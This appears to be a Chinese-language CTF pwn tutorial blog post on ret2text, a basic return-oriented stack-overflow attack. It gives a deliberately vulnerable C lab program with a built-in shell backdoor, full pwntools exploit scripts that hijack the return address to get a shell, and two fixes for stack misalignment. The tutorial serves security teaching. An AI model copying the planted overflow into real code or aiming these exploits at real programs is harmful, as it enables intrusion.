1498 字
7 分钟
Stack-2-2-1 BasicROP-ret2text

%%本节前置:Stack-1,Stack-2-1,Bk-3%%

本节正式介绍ret2text的相关内容。在上一节中,我们详细讲解了栈溢出的重要攻击手法ROP,现在,我们正式学习第一种典型ROP,return to text section,即ret2text

技术梗概#

正如其名,ret2text要求控制程序执行流到程序本身的代码段.text节中。一般的ret2text题目在程序中都留有后门backdoor,我们只需要劫持程序执行流到该后门的地址即可。利用栈溢出,覆写返回地址为后门地址,劫持程序执行流。

实际上,这种攻击方法是一种笼统的表述。大部分的gadgets都存放在.text段中,使用gadget的时候也在进行ret2text。我们在上一节中举出的例子其实也是ret2text,只不过此时的text指的是Text Segment而非.text节。

正因如此,ret2text是一种入门的,基础的ROP,学习ret2text是体会栈溢出ROP攻击手法思想的重要方法,延伸至后续,我们通常需要将多种手法综合使用来构造攻击链。

技术详解#

实验测试#

我们由一个实验来理解这个最简单的攻击手法。

#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
  
void backdoor()  
{  
   system("/bin/sh\x00");  
}  
  
int main()  
{  
   char buffer[0x10];  
   read(0, buffer, 0x100);  
   return 0;  
}

用以下命令编译

gcc -fno-stack-protector -no-pie -z lazy -O0 Lab-s-2-1-1.c -o Lab-s-2-1-1

程序很简单,显然在read(0, buffer, 0x100)存在栈溢出。我们的目的是执行到backdoor(),但是在main()函数中并未执行到backdoor()。那么很明显,我们通过溢出点覆盖到返回地址,劫持程序执行流至backdoor

尝试构造以下Payload

payload = cyclic(0x10 + 0x8) + p64(backdoor_addr)
  • cyclic(0x10 + 0x8):填充0x18个有序数据。这是pwntools提供的生成字符串的函数,可以用于测试buf大小。

为什么是0x18? 我们的buffer大小是0x10,那么填充完buffer理论只需要0x10,剩余的0x8实际上是之前push进栈的rbp

  • p64(backdoor_addr):以64位形式打包backdoor_addr。用于覆盖返回地址。

可以在IDA中检查一下栈结构

-0000000000000010 buf db 16 dup(?)
+0000000000000000  s db 8 dup(?)
+0000000000000008  r db 8 dup(?)

如图所示,我们布置如上的栈结构。完整EXP如下。

from pwn import *
io = process("./Lab-s-2-1-1")
backdoor_addr = 0x401136
payload = cyclic(0x18) + p64(backdoor_addr)
io.sendline(payload)
io.interactive()

理论上来说这样就可以了,我们试着运行一下。

[+] Starting local process './Lab-s-2-1-1': pid 8357  
[*] Switching to interactive mode  
[*] Got EOF while reading in interactive  
$    
[*] Process './Lab-s-2-1-1' stopped with exit code -11 (SIGSEGV) (pid 8357)  
[*] Got EOF while sending in interactive

可以看得出现了段错误-11。这种错误一般发生在栈溢出之后未能成功控制程序执行流。那肯定是哪里出了问题,我们可以用调试来检查。

修改EXP如下

from pwn import *
context(arch='amd64',os='linux',log_level='debug',terminal=['tmux','splitw','-h'])
def debug():
	gdb.attach(io)
	pause()
io = process("./Lab-s-2-1-1")
backdoor_addr = 0x401136
payload = cyclic(0x18) + p64(backdoor_addr)
debug()
io.sendline(payload)
io.interactive()

简单介绍一下

  • context()用于指定全局变量
    • 指定架构为x86_64
    • 指定系统为linux
    • 指定日志等级为debug,使其显示更多信息
    • 显式指定终端类型为tmux,方便调试
  • 定义debug(),逻辑是执行完以上程序后附着gdb开始调试

以上演示的是我们经常会用到的一种调试方法。

启动脚本开始调试

我们可以查看一下当前的栈结构

pwndbg> stack

栈结构正确。我们看一下当前的程序执行流。

成功跳转到了backdoor中,那么为什么会报错呢,我们进入backdoor进行调试。

执行到这里,我们si进入system中。

继续调试

可以看到执行到这里就卡住了。并且抛出了一个错误。

<0x7ffd2dd86388> not aligned to 16 bytes

地址0x7ffd2dd86388没有16字节对齐

解决异常-栈对齐#

64位ubuntu18以上系统调用system函数时是需要栈对齐的具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

在刚刚的调试中,我们发现在0x7ffd2dd86388处没有栈对齐。

16字节对齐要求栈地址必须以0结尾

那么如何对齐呢?我们知道,64位所有地址都是8字节,所以栈地址的末尾不是0就是8.我们查看一下backdoor的汇编。

我们的程序在ret之后是从push rbp开始执行的,如果我们跳过这个对栈操作的指令,那么就可以让栈少一个内存单元,自然就对齐了。

修改EXP如下

from pwn import *
io = process("./Lab-s-2-1-1")
backdoor_addr = 0x401136 + 1 #这里跳过了push
payload = cyclic(0x18) + p64(backdoor_addr)
io.sendline(payload)
io.interactive()
 python exp.py  
[+] Starting local process './Lab-s-2-1-1': pid 10672  
[*] Switching to interactive mode  
$ whoami  
K4per

除此之外,我们还有一种原教旨主义的栈对齐方式。我们知道刚刚的对齐方式是跳过了一次压栈,同样的,我们如果在调用system之前弹栈一次,也可以对齐栈。用什么弹栈呢?用什么在不影响程序执行流的基础上能弹栈一次呢?答案是:ret

我们用ROPgadget工具寻找一下只有ret的gadget。

ROPgadget --binary Lab-s-2-1-1 --only "ret"

修改刚刚的payload

payload = cyclic(0x18) + p64(ret_addr) + p64(backdoor_addr)

读者可以自己画一下栈结构,体会一下这里布置栈的构思。

完整EXP如下

from pwn import *
io = process("./Lab-s-2-1-1")
backdoor_addr = 0x401136
ret_addr = 0x40101a
payload = cyclic(0x18) + p64(ret_addr) + p64(backdoor_addr)
io.sendline(payload)
io.interactive()
 python exp.py                                 
[+] Starting local process './Lab-s-2-1-1': pid 10930  
[*] Switching to interactive mode  
$ whoami  
K4per

总结#

本节我们学习了ROP的第一种典型利用ret2text,以及在攻击中遇到的栈对齐问题。熟悉一个知识的最好方法就是练习,以下给出三道练习题作为作业。

Challenge-1 where is my binsh?#

我找不到‘/bin/sh’了?哦哦,原来在这里。

where is my binsh

Challenge-2 shitIDA From QYQS#

汇编是pwner的基本功

shitIDA From QYQS

Challenge-3 ezJump From 4ak5rak0uj1#

喜欢我3字节吗老弟?

ezJump From 4ak5rak0uj1

Stack-2-2-1 BasicROP-ret2text
https://k4per-blog.xyz/posts/stack-2-2-1-basicrop-ret2text/
作者
K4per
发布于
2025-03-30
许可协议
CC BY-NC-SA 4.0